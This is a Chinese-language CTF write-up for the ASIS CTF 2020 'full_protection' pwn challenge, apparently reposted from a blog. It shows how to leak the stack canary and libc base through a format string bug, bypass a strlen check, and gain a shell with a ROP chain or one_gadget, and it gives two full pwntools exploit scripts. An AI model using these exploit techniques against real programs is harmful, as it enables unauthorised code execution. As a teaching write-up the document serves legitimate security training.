ASIS CTF 2020_full_protection: 格式化字符串与栈溢出的利用

0x10 分析

题目:chall

类型:pwn、格式化字符串、栈溢出、canary

按照惯例,先看看程序使用了哪些安全编译选项,乍看一下,居然开启了所有的保护,心想题目可能难度较大,需要绕过。

lys@ubuntu:~/Documents/pwn$ checksec chall
[*] '/home/lys/Documents/pwn/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

运行一下程序,简单了解它的基本功能,输入一个字符串,程序原样输出:

lys@ubuntu:~/Documents/pwn$ ./chall
hello~
hello~

使用 file 命令查看程序的基本信息,没有 strip,保留了符号表,降低了难度

lys@ubuntu:~/Documents/pwn$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1268b19e12c5ed7faeb70c121bebad2cce0830d, not stripped

将二进制拖入 IDA,分析一下程序的漏洞点

在这里插入图片描述
程序很简单,没有复杂的功能,循环读取用户的输入,并直接打印。这里有两个问题

  1. readline() 函数调用了 gets() 函数,用户输入存放在变量 v5 中,会导致栈溢出
  2. __printf_chk() 函数没有使用格式化字符串,说明存在格式化字符串漏洞

那么思路来了:格式化字符串漏洞可以任意地址读,也就是说,可以泄漏 libc 的基地址;栈溢出可以覆盖返回地址为 libc 中的库函数。但是有两点需要注意

  1. 程序开启了栈保护,栈底有一个随机的 canary,栈溢出时,不能改变其值
  2. readline() 函数有判断用户输入的字符串长度,大于 64,会导致程序直接退出

0x20 解题

经过上述分析,已经有大致的思路,现在就是利用格式化字符串漏洞泄漏 canary 的值,再泄漏 libc 的基地址

0x21 泄漏 canary

gdb 插件 gef,能够直接使用 canary 找到 canary 的位置和内容

gef➤  canary
[+] Found AT_RANDOM at 0x7fffffffe209, reading 8 bytes
[+] The canary of process 18663 is 0x7b663e3705279b00
gef➤  c
Continuing.
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
0xf800000000000000.(nil).(nil).0x7ffff7fdf700.0x70252e70252e7025
.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025
.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025
.0x70252e.0x7fffffffde70.0x7b663e3705279b00.(nil).0x7ffff7a2d840.0x1.0x7fffffffde78.0x1f7ffcca0.0x555555554850

发现格式化字符串指针后的第 14 个参数就是 canary

0x22 反调试

调试过程中,突然出现

Program received signal SIGALRM, Alarm clock.

原来程序还设置了闹钟,使用 vim,直接将 alarm 替换成 isnan,即可绕过

0x23 泄漏 libc 基地址

栈中,必然存有指向 libc 库函数的指针,按照这个思想,将刚刚使用格式化字符串打印的十几个参数,与 vmmap 映射的 libc 库做对比,观察那些地址是在 libc 的地址范围内

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/lys/Documents/pwn/chall
0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/lys/Documents/pwn/chall
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/lys/Documents/pwn/chall
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fde000 0x00007ffff7fe1000 0x0000000000000000 rw- 
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

发现第 16 个参数 0x7ffff7a2d840 是在 glibc 中,使用 xinfo,查看该地址的相关信息

gef➤  xinfo 0x7ffff7a2d840
─────────────────────── xinfo: 0x7ffff7a2d840 ──────────────────────────────────────────────────────────────────────────────────────────
Page: 0x00007ffff7a0d000  →  0x00007ffff7bcd000 (size=0x1c0000)
Permissions: r-x
Pathname: /lib/x86_64-linux-gnu/libc-2.23.so
Offset (from page): 0x20840
Inode: 399045
Segment: .text (0x00007ffff7a2c8b0-0x00007ffff7b7fbc4)
Offset (from segment): 0xf90
Symbol: __libc_start_main+240

libc_base_addr = 参数16 - libc.sym["__libc_start_main"] - 240

0x24 rbp

找到栈底 rbp 的值,从汇编代码中可以看到,变量 s (v5) 距离栈底 +58h,即 +11 个字长
在这里插入图片描述

0x25 格式化字符串距离变量 s 的长度

利用格式化字符串漏洞,确定变量 s 离此时栈顶 ,即 printf 的格式化字符串指针)的距离

lys@ubuntu:~/Documents/pwn$ ./chall
aaaabbbb.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaabbbb.0xffffffc000000000.(nil).0xffc0.0x7f7d4c486700.0x6262626261616161
.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x70252e70252e.(nil)

由上可见,第 5 个参数就是变量 s 的首地址

0x26 栈布局

最终得到的栈布局如下

+---------------+
|       &s      |
+---------------+
|               |
+---------------+
|               |
+---------------+
|               |
+---------------+
|               |
+---------------+
|       s       | <----+ +5    第5个参数
+---------------+	
|               |
+---------------+
|               |
+---------------+
|               |
+---------------+
|               |
|               |
|               |
|               |
|               |
|               |
|               |
+---------------+
|    canary     | <----+ +14   第14个参数
+---------------+
|      rbp      |
+---------------+
|      ret      | <----+ +16   第16个参数
+---------------+

0x27 绕过 strlen 判断

实际上,readline 函数还会对用户的输入长度进行限制,如下所示
在这里插入图片描述
用户输入的长度大于 a2(64B)大小时,程序直接退出。这里有一个漏洞就是,strlen 函数是以 \0 来判断字符串是否结束的,因此,我们的输入只需要让其在内存中的真实值为 0,即可让 strlen 结束。

pwn.p64(0),这样就会在内存中保存真实的值 0,绕过判断。

0x30 覆盖返回地址为 Gadget

0x31 构造 ROP

使用 ROPgadget 查找 pop rdi

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
0x000000000002026b : pop rdi ; pop rbp ; ret
0x0000000000021112 : pop rdi ; ret
0x00000000000b0b9c : pop rdi ; ret 0xd
0x00000000000674a9 : pop rdi ; ret 0xffff

查找字符串 /bin/sh

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
Strings information
============================================================
0x000000000018ce17 : /bin/sh

构造 ROP 链

payload += p64(libc_base_addr + pop_rdi_ret)
payload += p64(libc_base_addr + bin_sh)
payload += p64(libc_base_addr + libc.sym["system"])

完整代码

from pwn import *

context(log_level="info", os="linux", arch="amd64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./chall")
io.sendline("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = io.recv().split(".")
canary = output[13]
libc_start_main_240 = output[15]
log.info("canary: %s", canary)
log.info("__libc_start_main+240: %s", libc_start_main_240)

libc_base_addr = int(libc_start_main_240, 16) - 240 - libc.sym["__libc_start_main"]
log.info("libc base address: 0x%x", libc_base_addr)

pop_rdi_ret = 0x21112
bin_sh = 0x18ce17

payload = p64(0) * (14 - 5)
payload += p64(int(canary, 16))
payload += p64(0)
payload += p64(libc_base_addr + pop_rdi_ret)
payload += p64(libc_base_addr + bin_sh)
payload += p64(libc_base_addr + libc.sym["system"])
io.sendline(payload)
io.interactive()

0x32 onegadget

下载 onegadget

sudo gem install one_gadget

寻找当前系统中的 libc 中的 one gadget

lys@ubuntu:~/Documents/pwn$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

上述地址不一定真的都可以,多试几次就好了,完整代码如下

from pwn import *

context(log_level="info", os="linux", arch="amd64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./chall")
io.sendline("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = io.recv().split(".")
canary = output[13]
libc_start_main_240 = output[15]
log.info("canary: %s", canary)
log.info("__libc_start_main+240: %s", libc_start_main_240)

libc_base_addr = int(libc_start_main_240, 16) - 240 - libc.sym["__libc_start_main"]
log.info("libc base address: 0x%x", libc_base_addr)

payload = p64(0) * (14 - 5)
payload += p64(int(canary, 16))
payload += p64(0)
payload += p64(libc_base_addr + 0xf1207)
io.sendline(payload)
io.interactive()

0x40 总结

本题主要利用了格式化字符串漏洞、栈溢出漏洞;其中有两点值得注意:第一、使用 gef 插件找到 canary,便于绕过栈保护;第二、strlen 函数对输入的长度进行了限制,其实是可以利用 \0 绕过。其余知识点都是 pwn 中常用的一些手段,比如改写 alarm,禁用反调试;ROP 构造等。

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/108500683
ctf